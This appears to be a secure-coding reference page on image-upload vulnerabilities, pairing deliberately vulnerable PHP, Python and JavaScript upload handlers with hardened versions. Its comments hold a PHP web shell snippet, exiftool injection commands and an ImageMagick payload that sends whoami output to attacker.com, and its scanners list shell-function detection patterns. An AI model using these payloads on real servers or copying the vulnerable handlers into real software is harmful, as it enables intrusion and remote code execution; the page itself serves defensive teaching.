Malicious Image Upload Leading to Code Execution

Critical Risk File Upload & Path Traversal
image-uploadcode-executionpolyglotmetadata-injectionimage-processingrce

What it is

A critical vulnerability where attackers upload malicious image files containing embedded executable code, polyglot files, or exploit image processing vulnerabilities to achieve remote code execution. This can occur through various vectors including metadata injection, polyglot file creation, image parser exploits, or by bypassing validation to upload disguised executable files.

<?php
// VULNERABLE: Basic image upload without proper validation

if ($_SERVER['REQUEST_METHOD'] === 'POST' && isset($_FILES['image'])) {
    $uploadDir = 'uploads/';
    $file = $_FILES['image'];
    
    // VULNERABLE: Only basic validation
    $allowedTypes = ['image/jpeg', 'image/png', 'image/gif'];
    
    // 1. Trust client-provided MIME type
    if (!in_array($file['type'], $allowedTypes)) {
        die('Invalid file type');
    }
    
    // 2. Basic extension check
    $extension = strtolower(pathinfo($file['name'], PATHINFO_EXTENSION));
    if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
        die('Invalid extension');
    }
    
    // 3. Basic image validation
    $imageInfo = getimagesize($file['tmp_name']);
    if ($imageInfo === false) {
        die('Not a valid image');
    }
    
    // 4. No content scanning
    $destination = $uploadDir . $file['name'];
    
    if (move_uploaded_file($file['tmp_name'], $destination)) {
        echo "Image uploaded: <a href='$destination'>View Image</a>";
        
        // VULNERABLE: Display EXIF data without sanitization
        if (function_exists('exif_read_data')) {
            $exif = exif_read_data($destination);
            if ($exif) {
                echo "<h3>Image Information:</h3>";
                foreach ($exif as $key => $value) {
                    if (is_string($value)) {
                        // DANGEROUS: Direct output of EXIF data
                        echo "<p><b>$key:</b> $value</p>";
                    }
                }
            }
        }
    }
}
?>

<form method="post" enctype="multipart/form-data">
    <input type="file" name="image" accept="image/*" required>
    <input type="submit" value="Upload Image">
</form>

<!--
Attack scenarios:

1. Polyglot JPEG + PHP:
   - Create file with valid JPEG header
   - Append PHP code: <?php system($_GET['cmd']); ?>
   - Upload as image.jpg
   - Access as image.jpg?cmd=whoami if server executes PHP

2. EXIF Injection:
   - Use exiftool to inject malicious EXIF data
   - exiftool -Comment='<script>alert("XSS")</script>' image.jpg
   - When EXIF is displayed, executes JavaScript

3. Double extension bypass:
   - Upload shell.php.jpg
   - Server may execute as PHP depending on configuration

4. ImageMagick exploitation:
   - Upload crafted image that exploits ImageMagick vulnerabilities
   - Achieve RCE through image processing
-->
<?php
// SECURE: Comprehensive image upload with security measures

class SecureImageUploader {
    private $uploadDir;
    private $allowedFormats;
    private $maxFileSize;
    private $maxDimensions;
    
    public function __construct() {
        // Store outside web root
        $this->uploadDir = dirname(__DIR__) . '/secure_images/';
        $this->allowedFormats = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF];
        $this->maxFileSize = 5 * 1024 * 1024; // 5MB
        $this->maxDimensions = [5000, 5000];
        
        $this->ensureUploadDirectory();
    }
    
    private function ensureUploadDirectory() {
        if (!is_dir($this->uploadDir)) {
            mkdir($this->uploadDir, 0755, true);
        }
    }
    
    public function handleUpload() {
        if ($_SERVER['REQUEST_METHOD'] !== 'POST' || !isset($_FILES['image'])) {
            throw new Exception('No image uploaded');
        }
        
        $file = $_FILES['image'];
        
        // Check upload errors
        if ($file['error'] !== UPLOAD_ERR_OK) {
            throw new Exception('Upload error: ' . $file['error']);
        }
        
        // Comprehensive validation
        $this->validateImage($file);
        
        // Process and sanitize
        return $this->processAndSanitizeImage($file);
    }
    
    private function validateImage($file) {
        // 1. File size validation
        if ($file['size'] > $this->maxFileSize) {
            throw new Exception('File too large: ' . $file['size'] . ' bytes');
        }
        
        // 2. Filename validation
        $this->validateFilename($file['name']);
        
        // 3. Magic bytes validation
        $this->validateMagicBytes($file['tmp_name']);
        
        // 4. Comprehensive image validation
        $imageInfo = getimagesize($file['tmp_name']);
        if ($imageInfo === false) {
            throw new Exception('Invalid image file');
        }
        
        // 5. Format validation
        if (!in_array($imageInfo[2], $this->allowedFormats)) {
            throw new Exception('Unsupported image format');
        }
        
        // 6. Dimension validation
        if ($imageInfo[0] > $this->maxDimensions[0] || 
            $imageInfo[1] > $this->maxDimensions[1]) {
            throw new Exception('Image dimensions too large');
        }
        
        // 7. Content scanning
        $this->scanForMaliciousContent($file['tmp_name']);
        
        // 8. Advanced image structure validation
        $this->validateImageStructure($file['tmp_name'], $imageInfo[2]);
    }
    
    private function validateFilename($filename) {
        // Remove null bytes
        $filename = str_replace("\0", '', $filename);
        
        // Check for dangerous patterns
        $dangerousPatterns = [
            '/\.\./',
            '/[<>:"|?*\\\x00-\x1f]/',
            '/^(CON|PRN|AUX|NUL|COM[1-9]|LPT[1-9])\./i',
            '/\.(php|asp|jsp|pl|py|cgi)$/i'
        ];
        
        foreach ($dangerousPatterns as $pattern) {
            if (preg_match($pattern, $filename)) {
                throw new Exception('Dangerous filename pattern detected');
            }
        }
        
        // Check for double extensions
        $parts = explode('.', $filename);
        if (count($parts) > 2) {
            $dangerousExts = ['php', 'asp', 'jsp', 'pl', 'py', 'cgi', 'sh'];
            for ($i = 1; $i < count($parts) - 1; $i++) {
                if (in_array(strtolower($parts[$i]), $dangerousExts)) {
                    throw new Exception('Dangerous double extension detected');
                }
            }
        }
    }
    
    private function validateMagicBytes($filePath) {
        $handle = fopen($filePath, 'rb');
        $header = fread($handle, 32);
        fclose($handle);
        
        $magicBytes = [
            'jpeg' => ['\xFF\xD8\xFF'],
            'png' => ['\x89PNG\r\n\x1A\n'],
            'gif' => ['GIF87a', 'GIF89a']
        ];
        
        $isValid = false;
        foreach ($magicBytes as $format => $signatures) {
            foreach ($signatures as $signature) {
                if (substr($header, 0, strlen($signature)) === $signature) {
                    $isValid = true;
                    break 2;
                }
            }
        }
        
        if (!$isValid) {
            throw new Exception('Invalid file signature');
        }
    }
    
    private function scanForMaliciousContent($filePath) {
        $content = file_get_contents($filePath);
        
        // Check for embedded scripts
        $maliciousPatterns = [
            '/<\?php/i',
            '/<script[^>]*>/i',
            '/<%[^>]*%>/i',
            '/\$\{[^}]*\}/',
            '/eval\s*\(/i',
            '/exec\s*\(/i',
            '/system\s*\(/i',
            '/shell_exec\s*\(/i',
            '/javascript:/i',
            '/vbscript:/i'
        ];
        
        foreach ($maliciousPatterns as $pattern) {
            if (preg_match($pattern, $content)) {
                throw new Exception('Malicious content detected in image');
            }
        }
    }
    
    private function validateImageStructure($filePath, $imageType) {
        // Try to create image resource to validate structure
        switch ($imageType) {
            case IMAGETYPE_JPEG:
                $image = imagecreatefromjpeg($filePath);
                break;
            case IMAGETYPE_PNG:
                $image = imagecreatefrompng($filePath);
                break;
            case IMAGETYPE_GIF:
                $image = imagecreatefromgif($filePath);
                break;
            default:
                throw new Exception('Unsupported image type');
        }
        
        if ($image === false) {
            throw new Exception('Invalid image structure');
        }
        
        imagedestroy($image);
    }
    
    private function processAndSanitizeImage($file) {
        // Generate secure filename
        $extension = 'jpg'; // Always convert to JPEG
        $secureFilename = date('Y-m-d_H-i-s') . '_' . bin2hex(random_bytes(8)) . '.' . $extension;
        $destination = $this->uploadDir . $secureFilename;
        
        // Get image info
        $imageInfo = getimagesize($file['tmp_name']);
        
        // Create image resource
        switch ($imageInfo[2]) {
            case IMAGETYPE_JPEG:
                $sourceImage = imagecreatefromjpeg($file['tmp_name']);
                break;
            case IMAGETYPE_PNG:
                $sourceImage = imagecreatefrompng($file['tmp_name']);
                break;
            case IMAGETYPE_GIF:
                $sourceImage = imagecreatefromgif($file['tmp_name']);
                break;
        }
        
        if ($sourceImage === false) {
            throw new Exception('Failed to process image');
        }
        
        // Get dimensions
        $width = imagesx($sourceImage);
        $height = imagesy($sourceImage);
        
        // Create clean image (this strips all metadata)
        $cleanImage = imagecreatetruecolor($width, $height);
        
        // Copy pixel data only
        imagecopy($cleanImage, $sourceImage, 0, 0, 0, 0, $width, $height);
        
        // Save as JPEG (strips all metadata and normalizes format)
        imagejpeg($cleanImage, $destination, 85);
        
        // Set secure permissions
        chmod($destination, 0644);
        
        // Cleanup
        imagedestroy($sourceImage);
        imagedestroy($cleanImage);
        
        // Generate access token for secure serving
        $token = bin2hex(random_bytes(16));
        
        // Save metadata to database (not shown here)
        $this->saveImageMetadata($token, $secureFilename, $file['name'], filesize($destination));
        
        return [
            'token' => $token,
            'filename' => $secureFilename,
            'original_name' => $file['name'],
            'size' => filesize($destination)
        ];
    }
    
    private function saveImageMetadata($token, $filename, $originalName, $size) {
        // Implementation would save to database
        // For demo, we'll just log it
        error_log("Image uploaded: Token=$token, File=$filename, Size=$size");
    }
    
    public function serveImage($token) {
        // Implementation would fetch from database and serve securely
        // This is a simplified version
        
        // Validate token
        if (!preg_match('/^[a-f0-9]{32}$/', $token)) {
            http_response_code(400);
            exit('Invalid token');
        }
        
        // In real implementation, fetch filename from database
        // For demo, we'll assume the file exists
        
        // Set secure headers
        header('Content-Type: image/jpeg');
        header('X-Content-Type-Options: nosniff');
        header('Content-Disposition: inline');
        header('Cache-Control: public, max-age=31536000');
        
        // Serve file (implementation would use actual file path)
        // readfile($this->uploadDir . $filename);
    }
}

// Security headers for the upload page
header('X-Content-Type-Options: nosniff');
header('X-Frame-Options: DENY');
header('X-XSS-Protection: 1; mode=block');
header('Content-Security-Policy: default-src \'self\'; img-src \'self\' data:; script-src \'self\'; style-src \'self\' \'unsafe-inline\';');

// Handle upload
try {
    $uploader = new SecureImageUploader();
    
    if ($_SERVER['REQUEST_METHOD'] === 'POST') {
        $result = $uploader->handleUpload();
        echo json_encode([
            'success' => true,
            'message' => 'Image uploaded successfully',
            'data' => $result
        ]);
        exit;
    }
    
} catch (Exception $e) {
    echo json_encode([
        'success' => false,
        'error' => $e->getMessage()
    ]);
    exit;
}
?>

<!DOCTYPE html>
<html>
<head>
    <title>Secure Image Upload</title>
    <meta charset="utf-8">
    <meta name="viewport" content="width=device-width, initial-scale=1">
    <style>
        body { font-family: Arial, sans-serif; max-width: 600px; margin: 50px auto; padding: 20px; }
        .form-group { margin-bottom: 15px; }
        .error { color: red; }
        .success { color: green; }
        input[type="file"] { margin-bottom: 10px; }
    </style>
</head>
<body>
    <h2>Secure Image Upload</h2>
    <p>Allowed formats: JPEG, PNG, GIF (max 5MB, will be converted to JPEG)</p>
    
    <form id="uploadForm" enctype="multipart/form-data">
        <div class="form-group">
            <input type="file" name="image" accept="image/jpeg,image/png,image/gif" required>
        </div>
        <div class="form-group">
            <input type="submit" value="Upload Image">
        </div>
    </form>
    
    <div id="result"></div>
    
    <script>
        document.getElementById('uploadForm').addEventListener('submit', function(e) {
            e.preventDefault();
            
            const formData = new FormData(this);
            const resultDiv = document.getElementById('result');
            
            fetch('', {
                method: 'POST',
                body: formData
            })
            .then(response => response.json())
            .then(data => {
                if (data.success) {
                    resultDiv.innerHTML = `
                        <div class="success">
                            <p>${data.message}</p>
                            <p>File: ${data.data.original_name}</p>
                            <p>Size: ${data.data.size} bytes</p>
                            <p>Token: ${data.data.token}</p>
                        </div>
                    `;
                } else {
                    resultDiv.innerHTML = `<div class="error">Error: ${data.error}</div>`;
                }
            })
            .catch(error => {
                resultDiv.innerHTML = `<div class="error">Upload failed: ${error.message}</div>`;
            });
        });
    </script>
</body>
</html>

💡 Why This Fix Works

The vulnerable code performs basic validation but doesn't protect against polyglot files, metadata injection, or content-based attacks. The secure version implements comprehensive validation, content scanning, and image re-encoding to eliminate threats.

import os
import subprocess
from flask import Flask, request, jsonify
from werkzeug.utils import secure_filename

app = Flask(__name__)
UPLOAD_FOLDER = 'uploads'

# VULNERABLE: Unsafe ImageMagick usage
@app.route('/process-image', methods=['POST'])
def process_image():
    if 'file' not in request.files:
        return jsonify({'error': 'No file provided'})
    
    file = request.files['file']
    if file.filename == '':
        return jsonify({'error': 'No file selected'})
    
    # Basic validation
    allowed_extensions = {'jpg', 'jpeg', 'png', 'gif'}
    if not ('.' in file.filename and 
            file.filename.rsplit('.', 1)[1].lower() in allowed_extensions):
        return jsonify({'error': 'Invalid file type'})
    
    # Save uploaded file
    filename = secure_filename(file.filename)
    filepath = os.path.join(UPLOAD_FOLDER, filename)
    file.save(filepath)
    
    # VULNERABLE: Direct ImageMagick command execution
    output_path = os.path.join(UPLOAD_FOLDER, 'resized_' + filename)
    
    # DANGEROUS: No validation of ImageMagick input
    command = f'convert "{filepath}" -resize 800x600 "{output_path}"'
    
    try:
        result = subprocess.run(command, shell=True, capture_output=True, text=True)
        
        if result.returncode == 0:
            return jsonify({
                'success': True,
                'message': 'Image processed successfully',
                'output': output_path
            })
        else:
            return jsonify({
                'success': False,
                'error': result.stderr
            })
            
    except Exception as e:
        return jsonify({'error': str(e)})

if __name__ == '__main__':
    os.makedirs(UPLOAD_FOLDER, exist_ok=True)
    app.run(debug=True)

# Vulnerable to:
# 1. ImageMagick CVE exploits (Ghostscript, MVG, etc.)
# 2. Command injection through filenames
# 3. Memory exhaustion attacks
# 4. Information disclosure attacks
import os
import subprocess
import tempfile
import shutil
import hashlib
import magic
from PIL import Image, ImageFile
from flask import Flask, request, jsonify
from werkzeug.utils import secure_filename
import logging

app = Flask(__name__)

class SecureImageProcessor:
    def __init__(self):
        self.upload_dir = os.path.abspath('secure_uploads')
        self.allowed_formats = {'JPEG', 'PNG', 'GIF'}
        self.max_file_size = 10 * 1024 * 1024  # 10MB
        self.max_dimensions = (8000, 8000)
        self.max_pixels = 50000000  # 50MP
        
        # Security settings for ImageMagick
        self.imagemagick_policy = {
            'memory': '256MiB',
            'map': '512MiB',
            'area': '128MB',
            'disk': '1GiB',
            'time': '120',
        }
        
        self.ensure_upload_directory()
        self.setup_imagemagick_security()
        
    def ensure_upload_directory(self):
        if not os.path.exists(self.upload_dir):
            os.makedirs(self.upload_dir, mode=0o755)
    
    def setup_imagemagick_security(self):
        """Configure ImageMagick security policy"""
        policy_content = '''
        <policymap>
            <!-- Disable dangerous formats -->
            <policy domain="coder" rights="none" pattern="PS" />
            <policy domain="coder" rights="none" pattern="EPS" />
            <policy domain="coder" rights="none" pattern="PDF" />
            <policy domain="coder" rights="none" pattern="XPS" />
            <policy domain="coder" rights="none" pattern="MVG" />
            <policy domain="coder" rights="none" pattern="MSL" />
            <policy domain="coder" rights="none" pattern="TEXT" />
            <policy domain="coder" rights="none" pattern="SHOW" />
            <policy domain="coder" rights="none" pattern="WIN" />
            <policy domain="coder" rights="none" pattern="PLT" />
            
            <!-- Resource limits -->
            <policy domain="resource" name="memory" value="256MiB"/>
            <policy domain="resource" name="map" value="512MiB"/>
            <policy domain="resource" name="area" value="128MB"/>
            <policy domain="resource" name="disk" value="1GiB"/>
            <policy domain="resource" name="time" value="120"/>
            
            <!-- Disable indirect reads -->
            <policy domain="path" rights="none" pattern="@*"/>
        </policymap>
        '''
        
        # Write policy to temporary file for this session
        self.policy_file = tempfile.NamedTemporaryFile(mode='w', suffix='.xml', delete=False)
        self.policy_file.write(policy_content)
        self.policy_file.close()
        
        # Set environment variable
        os.environ['MAGICK_CONFIGURE_PATH'] = os.path.dirname(self.policy_file.name)
        
    def validate_image_comprehensive(self, file_path):
        """Comprehensive image validation"""
        
        # 1. File size check
        file_size = os.path.getsize(file_path)
        if file_size > self.max_file_size:
            raise ValueError(f"File too large: {file_size} bytes")
        
        # 2. Magic bytes validation
        mime_type = magic.from_file(file_path, mime=True)
        allowed_mimes = ['image/jpeg', 'image/png', 'image/gif']
        if mime_type not in allowed_mimes:
            raise ValueError(f"Invalid MIME type: {mime_type}")
        
        # 3. PIL validation
        try:
            with Image.open(file_path) as img:
                # Verify format
                if img.format not in self.allowed_formats:
                    raise ValueError(f"Unsupported format: {img.format}")
                
                # Check dimensions
                if (img.width > self.max_dimensions[0] or 
                    img.height > self.max_dimensions[1]):
                    raise ValueError("Image dimensions too large")
                
                # Check total pixels
                if img.width * img.height > self.max_pixels:
                    raise ValueError("Image too large (pixels)")
                
                # Verify image by loading it
                img.verify()
                
        except Exception as e:
            raise ValueError(f"Invalid image: {e}")
        
        # 4. Content scanning
        self.scan_for_malicious_content(file_path)
        
        return True
    
    def scan_for_malicious_content(self, file_path):
        """Scan file for malicious patterns"""
        with open(file_path, 'rb') as f:
            content = f.read()
        
        # Convert to string for pattern matching
        content_str = content.decode('utf-8', errors='ignore')
        
        malicious_patterns = [
            r'<\?php',
            r'<script[^>]*>',
            r'<%[^>]*%>',
            r'javascript:',
            r'vbscript:',
            r'eval\s*\(',
            r'exec\s*\(',
            r'system\s*\(',
            r'shell_exec\s*\(',
            r'file_get_contents\s*\(',
            r'@[^\s]*\|',  # ImageMagick delegates
            r'\|[^\s]*',   # Command pipes
        ]
        
        import re
        for pattern in malicious_patterns:
            if re.search(pattern, content_str, re.IGNORECASE):
                raise ValueError(f"Malicious content detected: {pattern}")
    
    def sanitize_filename(self, filename):
        """Generate secure filename"""
        # Extract extension
        _, ext = os.path.splitext(filename)
        ext = ext.lower()
        
        # Validate extension
        allowed_exts = ['.jpg', '.jpeg', '.png', '.gif']
        if ext not in allowed_exts:
            ext = '.jpg'  # Default to JPEG
        
        # Generate secure filename
        timestamp = str(int(time.time()))
        random_hash = hashlib.md5(os.urandom(32)).hexdigest()[:16]
        
        return f"{timestamp}_{random_hash}{ext}"
    
    def process_image_safely(self, input_path, operation='resize', **kwargs):
        """Safely process image using PIL instead of ImageMagick when possible"""
        
        # Validate input
        self.validate_image_comprehensive(input_path)
        
        # Generate output filename
        output_filename = self.sanitize_filename(os.path.basename(input_path))
        output_path = os.path.join(self.upload_dir, 'processed_' + output_filename)
        
        try:
            if operation == 'resize':
                return self.resize_image_pil(input_path, output_path, kwargs)
            elif operation == 'convert':
                return self.convert_image_pil(input_path, output_path, kwargs)
            else:
                raise ValueError(f"Unsupported operation: {operation}")
                
        except Exception as e:
            # Clean up on error
            if os.path.exists(output_path):
                os.remove(output_path)
            raise e
    
    def resize_image_pil(self, input_path, output_path, options):
        """Resize image using PIL (safer than ImageMagick)"""
        
        width = options.get('width', 800)
        height = options.get('height', 600)
        quality = options.get('quality', 85)
        
        # Validate dimensions
        if width > 5000 or height > 5000:
            raise ValueError("Output dimensions too large")
        
        with Image.open(input_path) as img:
            # Remove any EXIF data and metadata
            img_without_exif = Image.new(img.mode, img.size)
            img_without_exif.putdata(list(img.getdata()))
            
            # Resize
            resized = img_without_exif.resize((width, height), Image.Resampling.LANCZOS)
            
            # Save as JPEG to normalize format
            resized.save(output_path, 'JPEG', quality=quality, optimize=True)
        
        return output_path
    
    def convert_image_pil(self, input_path, output_path, options):
        """Convert image format using PIL"""
        
        target_format = options.get('format', 'JPEG').upper()
        quality = options.get('quality', 85)
        
        if target_format not in ['JPEG', 'PNG', 'GIF']:
            raise ValueError(f"Unsupported target format: {target_format}")
        
        with Image.open(input_path) as img:
            # Remove metadata
            img_clean = Image.new(img.mode, img.size)
            img_clean.putdata(list(img.getdata()))
            
            # Convert and save
            if target_format == 'JPEG':
                if img_clean.mode in ('RGBA', 'LA', 'P'):
                    # Convert to RGB for JPEG
                    rgb_img = Image.new('RGB', img_clean.size, (255, 255, 255))
                    rgb_img.paste(img_clean, mask=img_clean.split()[-1] if img_clean.mode in ('RGBA', 'LA') else None)
                    img_clean = rgb_img
                
                img_clean.save(output_path, 'JPEG', quality=quality, optimize=True)
            else:
                img_clean.save(output_path, target_format)
        
        return output_path
    
    def calculate_file_hash(self, file_path):
        """Calculate SHA-256 hash of file"""
        sha256_hash = hashlib.sha256()
        with open(file_path, "rb") as f:
            for chunk in iter(lambda: f.read(4096), b""):
                sha256_hash.update(chunk)
        return sha256_hash.hexdigest()
    
    def cleanup_temp_files(self):
        """Clean up temporary files"""
        if hasattr(self, 'policy_file'):
            try:
                os.unlink(self.policy_file.name)
            except OSError:
                pass

# Initialize processor
processor = SecureImageProcessor()

@app.route('/process-image', methods=['POST'])
def process_image():
    try:
        if 'file' not in request.files:
            return jsonify({'error': 'No file provided'}), 400
        
        file = request.files['file']
        if file.filename == '':
            return jsonify({'error': 'No file selected'}), 400
        
        # Save uploaded file temporarily
        with tempfile.NamedTemporaryFile(delete=False, suffix='.tmp') as temp_file:
            file.save(temp_file.name)
            temp_path = temp_file.name
        
        try:
            # Get processing parameters
            operation = request.form.get('operation', 'resize')
            width = int(request.form.get('width', 800))
            height = int(request.form.get('height', 600))
            quality = int(request.form.get('quality', 85))
            
            # Validate parameters
            if not (100 <= width <= 2000 and 100 <= height <= 2000):
                return jsonify({'error': 'Invalid dimensions'}), 400
            
            if not (50 <= quality <= 100):
                return jsonify({'error': 'Invalid quality'}), 400
            
            # Process image
            output_path = processor.process_image_safely(
                temp_path,
                operation=operation,
                width=width,
                height=height,
                quality=quality
            )
            
            # Calculate file hash
            file_hash = processor.calculate_file_hash(output_path)
            
            return jsonify({
                'success': True,
                'message': 'Image processed successfully',
                'output': os.path.basename(output_path),
                'size': os.path.getsize(output_path),
                'hash': file_hash
            })
            
        finally:
            # Clean up temp file
            if os.path.exists(temp_path):
                os.remove(temp_path)
            
    except ValueError as e:
        return jsonify({'error': str(e)}), 400
    except Exception as e:
        logging.error(f"Image processing error: {e}")
        return jsonify({'error': 'Internal server error'}), 500

@app.route('/image/<filename>')
def serve_image(filename):
    """Serve processed images securely"""
    
    # Validate filename
    if not re.match(r'^processed_\d+_[a-f0-9]{16}\.(jpg|jpeg|png|gif)$', filename):
        return jsonify({'error': 'Invalid filename'}), 400
    
    file_path = os.path.join(processor.upload_dir, filename)
    
    if not os.path.exists(file_path):
        return jsonify({'error': 'File not found'}), 404
    
    # Security headers
    response = make_response(send_file(file_path))
    response.headers['X-Content-Type-Options'] = 'nosniff'
    response.headers['Content-Disposition'] = 'inline'
    
    return response

if __name__ == '__main__':
    import atexit
    
    # Register cleanup
    atexit.register(processor.cleanup_temp_files)
    
    app.run(debug=False, host='127.0.0.1')

💡 Why This Fix Works

The vulnerable code uses ImageMagick directly without security controls, making it susceptible to various exploits. The secure version uses PIL for processing, implements comprehensive validation, and applies strict security policies.

Why it happens

Attackers create files that are valid in multiple formats, such as a file that is both a valid JPEG image and an executable script. These polyglot files can pass image validation checks while still containing executable code that gets executed if the file is accessed directly or processed by vulnerable components.

Root causes

Polyglot File Attacks

Attackers create files that are valid in multiple formats, such as a file that is both a valid JPEG image and an executable script. These polyglot files can pass image validation checks while still containing executable code that gets executed if the file is accessed directly or processed by vulnerable components.

Preview example – PHP
// Example of vulnerable image validation
function validateImage($file) {
    $imageInfo = getimagesize($file['tmp_name']);
    
    // VULNERABLE: Only checks if it's a valid image
    if ($imageInfo !== false) {
        return true; // File is a valid image
    }
    return false;
}

// Polyglot attack example:
// File starts with valid JPEG header: \xFF\xD8\xFF\xE0
// Followed by: \x00\x10JFIF\x00\x01\x01\x01\x00H\x00H\x00\x00
// Then contains: <?php system($_GET['cmd']); ?>
// Result: Valid JPEG that also executes PHP code

if (validateImage($_FILES['upload'])) {
    move_uploaded_file($_FILES['upload']['tmp_name'], 
                      'uploads/' . $_FILES['upload']['name']);
    // If accessed as .php, executes malicious code
}

Malicious Metadata and EXIF Injection

Image files contain metadata sections (EXIF, IPTC, XMP) that can store arbitrary data. Attackers inject malicious scripts into these metadata fields, which may be executed by vulnerable image processing libraries, content management systems, or when metadata is displayed without proper sanitization.

Preview example – PYTHON
from PIL import Image
from PIL.ExifTags import TAGS

# VULNERABLE: Displaying EXIF data without sanitization
def display_image_info(image_path):
    image = Image.open(image_path)
    exifdata = image.getexif()
    
    html_output = "<h2>Image Information</h2>"
    
    for tag_id in exifdata:
        tag = TAGS.get(tag_id, tag_id)
        data = exifdata.get(tag_id)
        
        # DANGEROUS: Direct output of EXIF data
        html_output += f"<p><b>{tag}:</b> {data}</p>"
    
    return html_output

# Attacker injects malicious EXIF data:
# exiftool -Comment='<script>alert("XSS")</script>' image.jpg
# Or: exiftool -Artist='<?php system($_GET["cmd"]); ?>' image.jpg
# When displayed, executes malicious code

Image Processing Library Vulnerabilities

Image processing libraries (ImageMagick, GD, Pillow, etc.) may have vulnerabilities that allow code execution when processing maliciously crafted images. These can include buffer overflows, format string vulnerabilities, or logic flaws that allow arbitrary code execution during image processing operations.

Preview example – JAVASCRIPT
// VULNERABLE: Using ImageMagick without proper restrictions
const { exec } = require('child_process');
const path = require('path');

function resizeImage(inputPath, outputPath, width, height) {
    // DANGEROUS: Direct command construction
    const command = `convert "${inputPath}" -resize ${width}x${height} "${outputPath}"`;
    
    exec(command, (error, stdout, stderr) => {
        if (error) {
            console.error('Resize failed:', error);
        }
    });
}

// ImageMagick vulnerabilities (CVE examples):
// 1. MVG/SVG code execution
// 2. Ghostscript delegate vulnerabilities  
// 3. Format disclosure attacks
// 4. Memory corruption vulnerabilities

// Malicious image that exploits ImageMagick:
// File disguised as JPEG but contains MVG commands
// push graphic-context
// viewbox 0 0 640 480
// image over 0,0 0,0 'https://attacker.com/shell.jpg'
// |"curl http://attacker.com/$(whoami)"
// pop graphic-context

File Extension and MIME Type Confusion

Attackers exploit mismatches between file extensions, MIME types, and actual file content to bypass validation. They may upload executable files with image extensions, or use double extensions and server misconfigurations to execute uploaded files as scripts rather than serving them as images.

Preview example – JAVASCRIPT
// VULNERABLE: Inconsistent validation between upload and serving
class ImageUploadHandler {
    validateUpload(file) {
        // Check MIME type
        const allowedMimes = ['image/jpeg', 'image/png', 'image/gif'];
        if (!allowedMimes.includes(file.mimetype)) {
            throw new Error('Invalid MIME type');
        }
        
        // Basic extension check
        const ext = path.extname(file.originalname).toLowerCase();
        if (!['.jpg', '.jpeg', '.png', '.gif'].includes(ext)) {
            throw new Error('Invalid extension');
        }
        
        return true;
    }
    
    saveFile(file) {
        // DANGEROUS: Uses original filename
        const uploadPath = './uploads/' + file.originalname;
        fs.writeFileSync(uploadPath, file.buffer);
        return uploadPath;
    }
}

// Attack scenarios:
// 1. Upload "shell.php.jpg" - Passes validation but may execute as PHP
// 2. Upload with Content-Type: image/jpeg but contains PHP code
// 3. Server configuration: AddHandler php5-script .php .jpg
// 4. Double extension bypass: "image.jpg.php"

Fixes

1

Implement Deep Content Analysis and Validation

Perform comprehensive content analysis that goes beyond basic format checks. Validate file headers, analyze internal structure, scan for embedded code, and use multiple validation techniques to ensure files are legitimate images without malicious content.

View implementation – PYTHON
import magic
import struct
from PIL import Image, ExifTags
import re

class SecureImageValidator:
    def __init__(self):
        self.allowed_formats = ['JPEG', 'PNG', 'GIF', 'BMP']
        self.max_dimensions = (10000, 10000)
        self.max_file_size = 10 * 1024 * 1024  # 10MB
        
    def validate_image_comprehensively(self, file_path):
        """Multi-layer image validation"""
        
        # 1. File size check
        file_size = os.path.getsize(file_path)
        if file_size > self.max_file_size:
            raise ValueError(f"File too large: {file_size} bytes")
        
        # 2. Magic bytes validation
        with open(file_path, 'rb') as f:
            header = f.read(32)
        
        # Verify magic bytes match expected format
        if not self.validate_magic_bytes(header):
            raise ValueError("Invalid file signature")
        
        # 3. MIME type detection from content
        mime_type = magic.from_file(file_path, mime=True)
        allowed_mimes = ['image/jpeg', 'image/png', 'image/gif', 'image/bmp']
        if mime_type not in allowed_mimes:
            raise ValueError(f"Invalid MIME type: {mime_type}")
        
        # 4. PIL validation and format verification
        try:
            with Image.open(file_path) as img:
                # Verify format
                if img.format not in self.allowed_formats:
                    raise ValueError(f"Unsupported format: {img.format}")
                
                # Check dimensions
                if (img.width > self.max_dimensions[0] or 
                    img.height > self.max_dimensions[1]):
                    raise ValueError("Image dimensions too large")
                
                # Verify the image by attempting to load it completely
                img.verify()
        except Exception as e:
            raise ValueError(f"Invalid image file: {e}")
        
        # 5. Scan for embedded malicious content
        self.scan_for_malicious_content(file_path)
        
        # 6. Validate and sanitize metadata
        self.validate_metadata(file_path)
        
        return True
    
    def validate_magic_bytes(self, header):
        """Validate file magic bytes"""
        magic_bytes = {
            b'\xff\xd8\xff': 'JPEG',
            b'\x89PNG\r\n\x1a\n': 'PNG',
            b'GIF87a': 'GIF',
            b'GIF89a': 'GIF',
            b'BM': 'BMP'
        }
        
        for magic, format_type in magic_bytes.items():
            if header.startswith(magic):
                return True
        return False
    
    def scan_for_malicious_content(self, file_path):
        """Scan file content for malicious patterns"""
        with open(file_path, 'rb') as f:
            content = f.read()
        
        # Convert to string for pattern matching
        content_str = content.decode('utf-8', errors='ignore')
        
        malicious_patterns = [
            r'<\?php',
            r'<script[^>]*>',
            r'<%[^>]*%>',
            r'\$\{[^}]*\}',
            r'eval\s*\(',
            r'exec\s*\(',
            r'system\s*\(',
            r'shell_exec\s*\(',
            r'passthru\s*\(',
            r'javascript:',
            r'vbscript:'
        ]
        
        for pattern in malicious_patterns:
            if re.search(pattern, content_str, re.IGNORECASE):
                raise ValueError(f"Malicious content detected: {pattern}")
    
    def validate_metadata(self, file_path):
        """Validate and sanitize image metadata"""
        try:
            with Image.open(file_path) as img:
                if hasattr(img, '_getexif') and img._getexif():
                    exif = img._getexif()
                    
                    for tag_id, value in exif.items():
                        if isinstance(value, str):
                            # Check for malicious content in metadata
                            if any(pattern in value.lower() for pattern in 
                                   ['<script', '<?php', 'javascript:', '<iframe']):
                                raise ValueError("Malicious content in metadata")
        except Exception:
            # If EXIF reading fails, it's not necessarily an error
            pass
2

Use Secure Image Processing and Re-encoding

Re-encode all uploaded images to strip metadata, normalize format, and remove any potential malicious content. This creates a clean version of the image that maintains visual content while eliminating embedded threats.

View implementation – PHP
<?php
class SecureImageProcessor {
    private $allowedFormats = [IMAGETYPE_JPEG, IMAGETYPE_PNG, IMAGETYPE_GIF];
    private $maxWidth = 5000;
    private $maxHeight = 5000;
    private $jpegQuality = 85;
    
    public function processAndSanitizeImage($inputPath, $outputPath) {
        // 1. Validate image type
        $imageInfo = getimagesize($inputPath);
        if ($imageInfo === false) {
            throw new Exception('Invalid image file');
        }
        
        $imageType = $imageInfo[2];
        if (!in_array($imageType, $this->allowedFormats)) {
            throw new Exception('Unsupported image format');
        }
        
